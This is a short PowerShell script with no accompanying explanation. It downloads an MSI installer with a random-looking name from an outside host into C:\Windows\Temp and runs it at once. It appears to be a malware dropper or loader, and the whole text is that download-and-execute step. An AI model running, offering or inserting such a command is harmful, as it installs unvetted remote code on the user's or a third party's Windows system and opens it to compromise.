$block = {
cd \Windows\Temp
Invoke-WebRequest -URI "http://metuketudi.its.co.cr/snarenov.msi" -OutFile "C:\Windows\Temp\snarenov.msi"
(Start-Process -FilePath "C:\Windows\Temp\snarenov.msi" -Wait -PassThru).ExitCode
}
Invoke-Command -ScriptBlock $block